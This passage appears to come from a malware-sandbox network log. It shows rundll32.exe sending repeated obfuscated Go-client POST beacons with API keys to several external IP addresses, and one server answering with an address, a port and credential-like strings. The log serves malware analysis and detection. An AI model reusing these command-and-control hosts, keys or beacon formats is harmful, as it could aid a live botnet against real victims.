Jul 16, 2024 10:03:12.416049957 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: Bx2sf2Xy Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49783	77.238.250.123	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:14.057010889 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 6tORWBVb Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:03:15.629730940 CEST	546	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 08:03:15 GMT Content-Length: 428 Content-Type: text/plain; charset=utf-8 Data Raw: 36 32 2e 31 31 33 2e 31 31 36 2e 38 33 3b 31 35 34 39 37 3b 68 4d 78 6c 74 75 53 53 74 50 4c 6c 70 7a 34 38 3a 69 52 62 2f 6f 30 6a 2f 55 50 45 31 47 52 53 39 6b 31 6d 35 56 69 53 2e 4e 41 4e 32 5a 43 69 2e 66 69 48 37 6f 76 76 30 53 66 62 2e 65 63 36 33 66 65 47 38 6b 62 6f 2c 56 52 4a 68 75 58 42 74 35 32 31 74 50 30 36 70 42 43 68 3a 57 38 67 2f 39 44 45 2f 4d 70 49 39 66 37 55 31 6e 50 38 2e 37 71 42 31 69 73 56 34 75 55 61 32 78 52 48 2e 39 37 78 37 42 63 4f 34 39 79 54 2e 62 79 44 32 73 33 51 38 6e 57 77 2c 4c 6d 67 68 63 78 37 74 4f 62 37 74 7a 71 6f 70 39 78 65 3a 6c 62 6e 2f 48 54 64 2f 4d 51 69 37 4d 35 65 37 39 4e 79 2e 4d 33 74 32 51 76 70 33 54 73 4b 38 65 6e 44 2e 53 6d 6b 32 62 6f 34 32 67 50 53 34 6f 68 4e 2e 4e 43 70 35 4d 49 4d 36 73 74 6a 2c 45 38 37 68 7a 54 58 74 72 4d 64 74 56 4d 57 70 47 41 6c 3a 79 76 4d 2f 53 48 51 2f 4b 70 41 37 4f 6c 6e 37 64 35 74 2e 39 4e 33 32 4d 50 58 33 66 49 53 38 58 38 66 2e 55 78 4e 32 54 63 6f 32 6c 59 63 39 52 76 67 2e 63 49 39 36 63 67 51 33 4d [TRUNCATED] Data Ascii: 62.113.116.83;15497;hMxltuSStPLlpz48:iRb/o0j/UPE1GRS9k1m5ViS.NAN2ZCi.fiH7ovv0Sfb.ec63feG8kbo,VRJhuXBt521tP06pBCh:W8g/9DE/MpI9f7U1nP8.7qB1isV4uUa2xRH.97x7BcO49yT.byD2s3Q8nWw,Lmghcx7tOb7tzqop9xe:lbn/HTd/MQi7M5e79Ny.M3t2Qvp3TsK8enD.Smk2bo42gPS4ohN.NCp5MIM6stj,E87hzTXtrMdtVMWpGAl:yvM/SHQ/KpA7Oln7d5t.9N32MPX3fIS8X8f.UxN2Tco2lYc9Rvg.cI96cgQ3M9W,e4Xh0uotyDpt6Zkppz0:of3/3rI/sGh74267Ehg.qVK25w23aoe8MLu.N0E20k35YCK0vvp.I1I1a6r2ZLb3KlN
Jul 16, 2024 10:03:45.641452074 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 16, 2024 10:04:15.658252001 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 16, 2024 10:04:45.702157974 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49785	195.2.70.38	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:34.705966949 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: Q18dCjCV Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49786	91.142.74.28	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:36.459233046 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: DHyq7QbJ Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49787	195.2.70.38	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:36.939614058 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: FPSat6NC Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49788	77.238.224.56	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:38.673998117 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: PLuevwyt Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49789	91.142.74.28	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:38.708452940 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: ZYbIeXuA Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49790	77.238.229.63	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:40.274609089 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: CB7FPkDV Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49791	77.238.224.56	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:40.444434881 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: FMVzuBBW Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49792	77.238.250.123	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:41.902502060 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: jELwokdd Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:03:42.926209927 CEST	165	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:03:42 GMT Content-Length: 1 Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49793	77.238.229.63	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:42.074990034 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 2V0DVTXI Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49794	77.238.250.123	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:43.747891903 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: t79YoLMJ Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:03:44.702697992 CEST	165	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:03:44 GMT Content-Length: 1 Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49795	195.2.70.38	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:04:12.939256907 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: n0LYgoqy Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49796	91.142.74.28	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:04:14.677462101 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: GxXqBsQO Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49797	195.2.70.38	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:04:14.720107079 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 4pcv1fA0 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49799	77.238.224.56	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:04:16.767389059 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: uA9osWj7 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49798	91.142.74.28	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:04:16.767445087 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: qOFmagFi Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49800	77.238.229.63	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:04:18.370490074 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: hZLjAuIT Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49801	77.238.224.56	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:04:18.507242918 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: JeAvcgyM Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49802	77.238.250.123	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
